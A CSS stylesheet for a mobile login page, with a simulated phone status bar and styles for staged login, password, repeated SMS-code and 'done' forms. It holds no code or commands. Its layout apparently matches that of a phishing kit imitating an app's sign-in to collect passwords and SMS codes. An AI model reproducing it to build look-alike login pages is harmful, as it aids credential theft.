* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    background-image: url('../img/background.jpg');
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

.status-bar {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 8px 20px;
    background: rgba(255, 255, 255, 0.1);
    font-size: 16px;
    font-weight: 600;
    color: #333;
}

.status-left {
    font-size: 18px;
    font-weight: 700;
}

.status-right {
    display: flex;
    align-items: center;
    gap: 8px;
}

.signal-bars {
    display: flex;
    gap: 2px;
}

.bar {
    width: 3px;
    background: #333;
    border-radius: 1px;
}

.bar:nth-child(1) {
    height: 4px;
}

.bar:nth-child(2) {
    height: 6px;
}

.bar:nth-child(3) {
    height: 8px;
}

.bar:nth-child(4) {
    height: 10px;
    opacity: 0.3;
}

.battery {
    background: #333;
    color: white;
    padding: 2px 6px;
    border-radius: 4px;
    font-size: 12px;
    font-weight: 700;
}

.header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 15px 20px;
}

.menu-icon {
    width: 28px;
    height: 28px;
    background: rgba(0, 0, 0, 0.253);
    border-radius: 12px;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
}

.menu-icon img {
    width: 18px;
    height: 18px;
}

.language-selector {
    display: flex;
    justify-content: center;
    gap: 8px;
    background: rgba(0, 0, 0, 0.253);
    padding: 4px 8px;
    border-radius: 20px;
    cursor: pointer;
    color: white;
}

.flag {
    position: relative;
}

.flag img {
    width: 18px;
    height: 18px;
    margin-top: 1px;
    display: block;
}



.hamburger {
    width: 28px;
    height: 28px;
    background: rgba(0, 0, 0, 0.253);
    border-radius: 18px;
    cursor: pointer;
    display: flex;
    justify-content: center;
    align-items: center;
}

.hamburger img {
    width: 18px;
    height: 18px;
}

.main-content {
    flex: 1;
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 40px 0 0 0;
}

.logo {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 60px;
}

.logo img {
    width: 62px;
    height: 62px;
}


.login-form {
    width: 100%;
    background: rgba(255, 255, 255, 0.95);
    border-radius: 20px 20px 0 0;
    padding: 30px 30px 0 30px;
    box-shadow: 0 20px 60px rgba(0, 0, 0, 0.1);
    backdrop-filter: blur(20px);
    margin-top: auto;
}

.form-title {
    font-size: 24px;
    font-weight: 700;
    color: #333;
    margin-bottom: 30px;
}

.input-group {
    margin-bottom: 20px;
}

.input-label {
    display: block;
    color: #666;
    font-size: 14px;
    margin-bottom: 8px;
}

.input-field {
    width: 100%;
    padding: 15px;
    border: 2px solid #e0e0e0;
    border-radius: 12px;
    font-size: 16px;
    background: #f8f9fa;
    transition: all 0.3s ease;
}

.input-field:focus {
    outline: none;
    border-color: #f34a0d;
    background: white;
}

.input-placeholder {
    color: #f34a0d;
    font-size: 14px;
    margin-top: 5px;
}

.second-placeholder {
    color: black;
    font-size: 14px;
    margin-top: 5px;
}

.checkbox-group {
    display: flex;
    align-items: center;
    gap: 10px;
    margin: 20px 0;
}

.checkbox {
    width: 20px;
    height: 20px;
    background: #f34a0d;
    border-radius: 4px;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
}

.checkbox::after {
    content: '✓';
    color: white;
    font-weight: bold;
    font-size: 14px;
}

.checkbox-label {
    color: #333;
    font-size: 14px;
    cursor: pointer;
}

.login-button, .password-button {
    width: 100%;
    background: linear-gradient(45deg, #f34a0d, #f34a0d);
    color: white;
    border: none;
    padding: 12px;
    border-radius: 12px;
    font-size: 18px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s ease;
    box-shadow: 0 5px 15px rgba(255, 107, 53, 0.3);
    margin-bottom: 15px;
}

.login-button:hover, .password-button:hover {
    transform: translateY(-2px);
    box-shadow: 0 8px 25px rgba(255, 107, 53, 0.4);
}

.sms-button-again {
    width: 100%;
    background: linear-gradient(45deg, #f34a0d, #f34a0d);
    color: white;
    border: none;
    padding: 12px;
    border-radius: 12px;
    font-size: 18px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s ease;
    box-shadow: 0 5px 15px rgba(255, 107, 53, 0.3);
    margin-bottom: 15px;
}

.sms-button-again:hover {
    transform: translateY(-2px);
    box-shadow: 0 8px 25px rgba(255, 107, 53, 0.4);
}

.sms-button-second {
    width: 100%;
    background: linear-gradient(45deg, #f34a0d, #f34a0d);
    color: white;
    border: none;
    padding: 12px;
    border-radius: 12px;
    font-size: 18px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s ease;
    box-shadow: 0 5px 15px rgba(255, 107, 53, 0.3);
    margin-bottom: 15px;
}

.sms-button-second:hover {
    transform: translateY(-2px);
    box-shadow: 0 8px 25px rgba(255, 107, 53, 0.4);
}

.done-message {
    text-align: center;
    padding: 20px 0;
}

.success-icon {
    width: 60px;
    height: 60px;
    background: #4CAF50;
    color: white;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 30px;
    margin: 0 auto 20px;
}

.done-message h3 {
    color: #333;
    font-size: 24px;
    margin-bottom: 15px;
}

.done-message p {
    color: #666;
    line-height: 1.6;
    margin-bottom: 20px;
}

.contact-info {
    background: #f8f9fa;
    padding: 15px;
    border-radius: 10px;
    margin: 20px 0;
    text-align: left;
}

.contact-info p {
    margin: 8px 0;
    color: #555;
}

.note {
    background: #fff3cd;
    border: 1px solid #ffeaa7;
    padding: 15px;
    border-radius: 8px;
    margin: 20px 0;
}

.note p {
    color: #856404;
    margin: 0;
}

.done-button {
    width: 100%;
    background: linear-gradient(45deg, #4CAF50, #45a049);
    color: white;
    border: none;
    padding: 15px;
    border-radius: 12px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s ease;
    margin-top: 20px;
}

.done-button:hover {
    transform: translateY(-2px);
    box-shadow: 0 5px 15px rgba(76, 175, 80, 0.3);
}

.register-button {
    width: 100%;
    background: rgba(255, 107, 53, 0.1);
    color: #f34a0d;
    border: none;
    padding: 12px;
    border-radius: 12px;
    font-size: 18px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.3s ease;
    margin-bottom: 0;
}

.register-button:hover {
    background: rgba(255, 107, 53, 0.2);
}

.bottom-nav {
    display: flex;
    justify-content: space-around;
    align-items: center;
    padding: 15px 20px;
    background: rgba(255, 255, 255, 0.95);
    margin: 0 -30px;
}

.nav-item {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 5px;
    cursor: pointer;
    transition: all 0.3s ease;
}

.nav-item.active {
    color: #f34a0d;
}

.nav-icon {
    width: 24px;
    height: 24px;
    border-radius: 4px;
    opacity: 0.8;
}

.nav-icon img {
    width: 24px;
    height: 24px;
}

.nav-label {
    font-size: 11px;
    color: #666;
}

.nav-item.active .nav-label {
    color: #f34a0d;
}

.home-indicator {
    height: 4px;
    width: 40%;
    background: #333;
    border-radius: 2px;
    margin: 10px auto;
}

.user-header {
    display: flex;
    align-items: center;
    gap: 8px;
}

.user-subtext {
    font-size: 14px;
    color: #888;
    margin-bottom: 16px;
    margin-left: 24px;
}

.spinner {
    display: inline-block;
    width: 20px;
    height: 20px;
    border: 3px solid rgba(255, 255, 255, .3);
    border-radius: 50%;
    border-top-color: #fff;
    animation: spin 1s ease-in-out infinite;
}

@keyframes spin {
    to {
        transform: rotate(360deg);
    }
}

.spinner.hidden {
    display: none;
}

#second-form {
    display: none;
}

#second-form.visible {
    display: block !important;
}

#password-form {
    display: none;
}

#password-form.visible {
    display: block !important;
}

#againform {
    display: none;
}

#againform.visible {
    display: block !important;
}

#doneform {
    display: none;
}

#doneform.visible {
    display: block !important;
}

@media (max-width: 480px) {
    .login-form {
        padding: 25px;
    }

    .form-title {
        font-size: 20px;
    }
}